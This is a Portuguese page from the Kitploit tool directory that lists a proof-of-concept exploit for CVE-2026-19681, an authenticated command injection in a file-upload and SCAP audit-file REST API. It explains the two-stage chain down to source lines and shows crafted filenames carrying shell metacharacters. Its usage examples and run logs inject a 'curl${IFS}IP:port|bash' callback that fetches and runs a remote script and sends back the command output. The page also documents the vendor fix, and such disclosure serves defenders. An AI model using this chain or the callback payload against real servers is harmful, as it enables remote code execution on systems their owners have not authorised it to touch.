Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2026-19681 — Exploit de prova de conceito para injeção de comandos autenticada no processamento de upload de arquivos, demonstrando cadeia em duas etapas via API REST com timing cego e execução de comandos baseada em callback. | Kitploit
Ferramentas/GitHubGitHub/h00die/poc-cve-2026-19681
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

Exploit de prova de conceito para injeção de comandos autenticada no processamento de upload de arquivos, demonstrando cadeia em duas etapas via API REST com timing cego e execução de comandos baseada em callback.

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE Image

CVE-2026-19681 — injeção de comando no processamento de upload de arquivos (autenticado)

Status: CONFIRMADO em um laboratório 6.7.2-14.el9 (2026-08-20). Nome de arquivo preparado p;sleep${IFS}20;-EvvfJk via POST /rest/file/upload (o prefixo de contexto carrega os metacaracteres), depois POST /rest/auditFile (type=scapLinux, version=1.2) levou exatamente 20,1s e retornou o erro 106 ("Error adding Tailoring file to SCAP zip file") — o caminho normal de erro pós-injeção. A execução ocorre dentro do comando shell zip -9Tj como o usuário do serviço web. (Corrigido na 6.9.0 conforme o diff do RPM; a vulnerabilidade está presente em pelo menos 6.7.2–6.8.x.)

Vulnerabilidade

Cadeia de duas etapas, ambas sob controle do atacante:

  1. Controle do nome de arquivo — POST /rest/file armazena uploads via (), que constrói o nome em disco a partir do parâmetro bruto do cliente: . Contextos desconhecidos ignoram toda a validação de conteúdo (o NOTICE do chama isso de "totalmente aberto desde o SC 4.x"), mas ainda assim são armazenados — portanto, metacaracteres de shell (, , crases) persistem no nome de arquivo preparado.

Filesystem::saveTmp()
FilesystemLib.php:587
context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • Ponto de injeção — POST /rest/auditFile com type∈SCAP, version=1.2 entra no ramo de personalização (AuditFiles.php:163): $scapZipFile = $tmpDir . $params['filename'] (totalmente controlado pelo cliente) → AuditFileLib::addSCAPTailoringFile() linha 2304: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() remove /, mas não os metacaracteres de shell — e então sem escape em exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

  • Um segundo ponto de injeção da mesma classe: Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") em extractFile().

    Correção (6.9.0)

    escapeshellarg($tmpZipFile) em ambos os comandos zip; Utility::execSafe() (proc_open em formato argv + separador --) substitui o exec de string do unzip; validação de nome de arquivo adicionada em AuditFiles::applySCAPTailoringFile() (esse é o CVE-2026-19679).

    PoC

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    Notas:

    • o recurso de upload é /rest/file/upload (campo multipart Filedata, campo de formulário context) — descoberto no laboratório; outras versões podem diferir, candidatos foram testados.
    • limite de tamanho: o tempnam() do PHP trunca o prefixo do nome preparado — apenas ~50-55 caracteres de context sobrevivem (medido no laboratório; a variante hex-bootstrap foi cortada no meio do payload). Injeções curtas como p;sleep${IFS}20; cabem; tudo o que for maior passa pelo servidor de callback.
    • o corpo do auditFile precisa de type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (conforme AuditFiles::validateAdd); PARAM_FILENAME só rejeita / e arquivos inexistentes, então ;/${IFS} passam.
    • o upload de personalização (context=tailoringFile) deve conter um datastream XML analisável com pelo menos um Perfil — um mínimo está embutido.

    Itens de verificação no laboratório (sinalizados na saída do script se falharem):

    • O XML de personalização mínimo embutido deve satisfazer o SCAPTailoringFileParser (>=1 perfil); troque por um datastream de personalização SCAP real se for rejeitado.
    • A string type deve corresponder a um membro de AuditFileLib::$validSCAPTypes (scap esperado).
    • As chaves exatas do corpo do auditFile vêm de AuditFiles::validateAdd(); ajuste se o POST retornar um erro de parâmetro.

    Veja também

    • ../cve-2026-19679/ — a metade de validação de entrada da mesma cadeia (saneamento do nome de arquivo), com um diferencial de detecção de versão.

    Exemplos de execução

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    Baixar ferramenta